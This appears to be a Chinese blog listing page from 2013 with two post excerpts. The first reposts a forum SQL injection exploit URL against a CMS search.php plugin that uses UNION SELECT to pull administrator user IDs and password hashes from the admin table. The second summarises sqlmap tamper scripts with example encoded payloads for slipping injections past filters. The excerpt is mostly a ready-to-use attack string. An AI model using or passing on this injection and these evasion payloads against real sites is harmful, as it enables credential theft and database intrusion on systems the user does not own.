| | | | |

2013年5月9日

摘要： From: https://forum.90sec.org/thread-5081-1-1.html首先：注入exp有时候有些 /plus/目录换成了 /plugins目录/plugins/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin` 阅读全文

posted @ 2013-05-09 00:30 DemonSpider 阅读(436) 评论(0) 推荐(0) 编辑

sqlmap绕过脚本tamper解析<转>

摘要： apostrophemask.py UTF-8编码 Example: * Input: AND '1'='1' * Output: AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87 apostrophenullencode.py unicode编码 Example: * Input: AND '1'='1' * Output: AND %00%271%00%27=%00%271%00%27 appendnullbyte.py 添加%00 Example: * Input: AND 1=1 * 阅读全文

posted @ 2013-05-09 00:25 DemonSpider 阅读(740) 评论(0) 推荐(0) 编辑

2013年5月9日

公告